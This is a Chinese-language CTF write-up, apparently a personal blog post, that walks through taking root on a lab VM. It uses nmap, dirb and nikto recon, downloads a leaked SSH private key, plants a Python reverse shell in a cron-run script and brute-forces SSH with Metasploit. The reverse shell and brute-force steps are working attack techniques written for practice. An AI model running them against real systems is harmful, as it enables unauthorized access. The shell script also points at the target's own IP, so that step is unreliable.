前言
CTF系列之SSH服务渗透root主机靶场试验。
小插曲
安装靶场时除了差错。说小也不小,害
原本在vmware里安装靶场,但是出现这样的情况。
绝望,找了解决办法,但是不适合我。我吐了,修修改改半天。还是不行。
还是先说这个解决办法:
先将ova文件后缀改为.rar
或者.zip
然后解压该文件。会有两个文件被解压出来,分别是.ovf
和.vmdk
,修改.ovf
文件用记事本打开,修改这里
然后再次尝试打开,如果运气好的话,就可以打开了。
但是我没成功,于是开始自己瞎鼓捣。终于皇天不负有心人,搞了俩小时,终于给我整明白了。
下面是我的解决方法:
下载了Oracle VirtualBox这个软件,又是一个虚拟机的软件,对的。
当时想的是,既然它原本是Oracle VirtualBox的版本,那么就下载个试试。然后成功了。可以打开虚拟靶场了。这目前是适合我的解决办法。
当然,问题又来了。
靶机在Oracle VirtualBox上,kali在vmware上,😂😂😂😂这他喵怎么探测到靶机的IP啊。这个问题就是我头疼了将近俩小时的问题。至于探测方法以及设置问题在下面。
实验前的准备
探测IP
设置问题,
vmware中
虚拟网络编辑器
可以根据自己的设置来,然后点击应用。
然后在kali的虚拟机设置里面设置桥接
Oracle VirtualBox中
设置成和kali的一样的。然后就大功告成了。
进kali探测IP地址就行了。
ifconfig
发现kali的IP是192.168.1.6
然后输入
netdiscover -r 192.168.1.1/24
就是它了。然后nmap进一步探测信息查看是否正确
好了,证据确凿,就是它了。
靶机IP:192.168.1.5
实验开始
拿到第一个用户权限
探测靶场全部信息
nmap -A -v 192.168.1.5
探测靶场的操作系统类型与版本
nmap -O 192.168.1.5
分析探测结果
针对ssh服务的22号端口。
考虑:
1、暴力破解
2、私钥泄露(私钥有没有对应的密码。是否可以找到私钥的用户名)
对于开放http服务的80端口或者其他端口的靶场
优先考虑:1、通过浏览器访问对应的靶场http服务,如http://靶场IP地址:http服务端口
2、使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口/
==特别注意:特殊端口(大于1024的端口)==
先继续挖掘敏感信息
dirb http://192.168.1.5/
然后探测出来一堆
然后从第一个开始进行访问。运气不错,第二个就得到了这么多信息。再深入查看(还是挨个查看)
然后发现了这个名字很奇怪的txt文本有东西,是rsa
然后就到解析网站解析了一番,传送门
然后使用nikto扫描器来挖掘敏感信息nikto -host 192.168.1.5
特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
利用信息继续进行。
将私钥文件下载到桌面上,方便操作。wget "http://192.168.1.5/icons/VDSoyuAXiO.txt"
然后改个名
然后,查看id_rsa文件的权限,进行提权
利用私钥尝试登录服务器ssh -i id_rsa martin@192.168.1.5
其中martin是上面已经得到的一个可能的用户名。
可以看到已经连接成功
然后将能看到的目录下的文件全列出来找一遍
现在相当于拿到了第一个用户了。渗透root用户
一般flag会在root用户和对应的用户组。
使用以下几条命令进行查看信息。所以这个时候应该是提权。cat /etc/passwd #查看所有用户的列表 cat /etc/group #查看用户组 find / -user 用户名 #查看属于某些用户的文件 /tmp #查看缓冲文件目录
查看过之后也没发现什么特别的信息,
不过发现几个用户。深入挖掘
通过 /etc/crontab 文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab 下有某个用户的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
看到这个文件,但是ls后什么都没发现。所以自己创建反弹shell然后改成这个名字,让它定时执行。
查看空闲端口,随便挑个进行侦听,这里我选择4444端口。
查看占用端口
nc -lpv [未占用端口]
查看占用端口
netstat -pantu
然后没有占用4444端口,那就可以使用。
自创反弹shell
#!/usr/bin/python
import socket,os,subprocess
s=socket.socket()
s.connect(("192.168.1.5",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
熟练使用vi命令真的重要。
再改成那个定时自动执行的文件的名字
提权,执行权限给它
chmod +x sekurity.py
进行侦听端口后,程序是5分钟执行一次,最多等待5分钟就可以了。
但是我的没有显示,一直都是这个样子
烦。重复执行好几遍都没成功,一直是这样的。
吐了。看过教程,发现后面的步骤也没啥了。就是查一下是不是root用户,如果是,进一步探测,不是就放弃这个用户,继续下一个。
使用命令
#当前用户名
whoami
#查看对应权限
id
#提权
su root
暴力破解
最后一个用户,没有其他办法只能进行暴力破解,使用hydra、medusa等工具。
使用github上的一个工具创建字典
git clone htts://github.com/jeanphorn/common-password.git
cd common-password
#然后执行
./cupp.py -i
当然,如果是python3的话可能会出错。我这里使用python2版本执行就可以了。
python2 cupp.py -i
然后输入要破解的用户名,生成字典文件。
字典文件生成完毕,可以进行暴力破解,这里使用metasploit破解ssh
msfconsole
-- msf> use auxiliary/scanner/ssh/ssh_login
--msf auxiliary(ssh_login) > set rhost 192.168.1.5
--msf auxiliary(ssh_login) > set username hadi
--msf auxiliary(ssh_login) > set pass_file hadi.txt[的路径]
--msf auxiliary(ssh_login) > run
开始破解,破解之后是自动生成会话,可以使用终端
所以使用命令
python -c "import pty; pty.spawn('/bin/bash')"
就变成了和平时使用的终端一样了。
然后提权
到这里进入了root用户
然后查找flag,一般是在root目录下,所以直接进入root目录,查看
得到flag
结束。
花了很长时间,学到的东西也很多。继续努力啊。
文末寄语:
有些乐趣和人生际遇或许我们永远不会有。然而正是在这些“得不到”和“有所得”之间,我们确立了自己在这个世界上的位置。——荞麦
- 本文链接:https://m0re.top/posts/29a039ca/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances